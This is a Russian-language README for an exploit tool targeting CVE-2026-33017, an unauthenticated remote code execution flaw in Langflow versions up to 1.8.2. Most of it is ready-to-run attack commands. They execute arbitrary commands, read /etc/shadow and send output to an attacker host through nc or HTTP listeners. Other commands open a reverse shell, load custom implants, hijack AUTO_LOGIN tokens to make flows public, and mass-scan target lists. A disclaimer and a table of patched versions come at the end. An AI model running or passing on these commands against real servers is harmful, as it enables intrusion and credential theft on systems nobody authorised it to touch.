
Эксплойт для CVE-2026-33017 — неаутентифицированное удалённое выполнение кода (RCE) в Langflow <= 1.8.2 через exec() в конечной точке сборки flow
_____
/ \
| () () |
\ ^ /
|||||
exec() без аутентификации, без песочницы, без надежды.
Langflow <= 1.8.2 позволяет неаутентифицированное удалённое выполнение кода через конечную точку POST /api/v1/build_public_tmp/{flow_id}/flow. Данные потока, предоставленные атакующим и содержащие произвольный код Python в определениях узлов, передаются напрямую в exec() без какой-либо песочницы.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> произвольный код выполняется от имени серверного процесса. игра окончена.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Терминал 1: запустить прослушиватель
python3 -m http.server 8080
# Терминал 2: запустить эксплойт
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Декодируйте base64 из журналов вашего прослушивателя:
echo "dWlkPTEwMDAo..." | base64 -d
# Терминал 1: запустить прослушиватель
nc -l 8080
# Терминал 2: запустить эксплойт
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# Сырой вывод попадает напрямую в тело POST-запроса - декодирование не требуется
# Терминал 1: запустить прослушиватель
nc -l 4444
# Терминал 2: запустить эксплойт
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Правила файла полезной нагрузки:
exec() внутри prepare_global_scope()_x = os.popen(...).read()), поскольку AST-фильтр выполняет только узлы Assign, FunctionDef, ClassDefthreading.Thread(daemon=True), чтобы не убивать асинхронный цикл событийКогда ПУБЛИЧНЫХ потоков не существует, но включён AUTO_LOGIN (по умолчанию во многих развёртываниях):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Это перехватывает токен AUTO_LOGIN, изменяет первый поток на ПУБЛИЧНЫЙ через PATCH, а затем эксплуатирует его.
Сканирование нескольких целей из файла (только проверка уязвимости):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
Формат targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# комментарии игнорируются
Вывод показывает:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version для определения версии целиCustomComponent, содержащим вредоносный код Python в поле code/api/v1/build_public_tmp/{flow_id}/flow с созданным параметром data. Langflow компилирует граф, который вызывает create_class() -> prepare_global_scope() -> exec() для кода атакующегоИсправление в v1.9.0 полностью удаляет параметр data, заставляя конечную точку использовать только сохранённые данные потока из базы данных.
Этот инструмент предназначен только для авторизованных исследований в области безопасности. Используйте его только против систем, на тестирование которых у вас есть явное разрешение. Автор не несёт ответственности за неправомерное использование.
| Версия | Статус |
|---|
| <= 1.8.1 | Уязвимая |
| 1.8.2 | Заявленное исправление в журнале изменений, но код так и не был изменён (подтверждено JFrog) |
| 1.9.0-dev0 по dev11 | Всё ещё уязвимая |
| 1.9.0 | Действительно исправлена - параметр data удалён из конечной точки |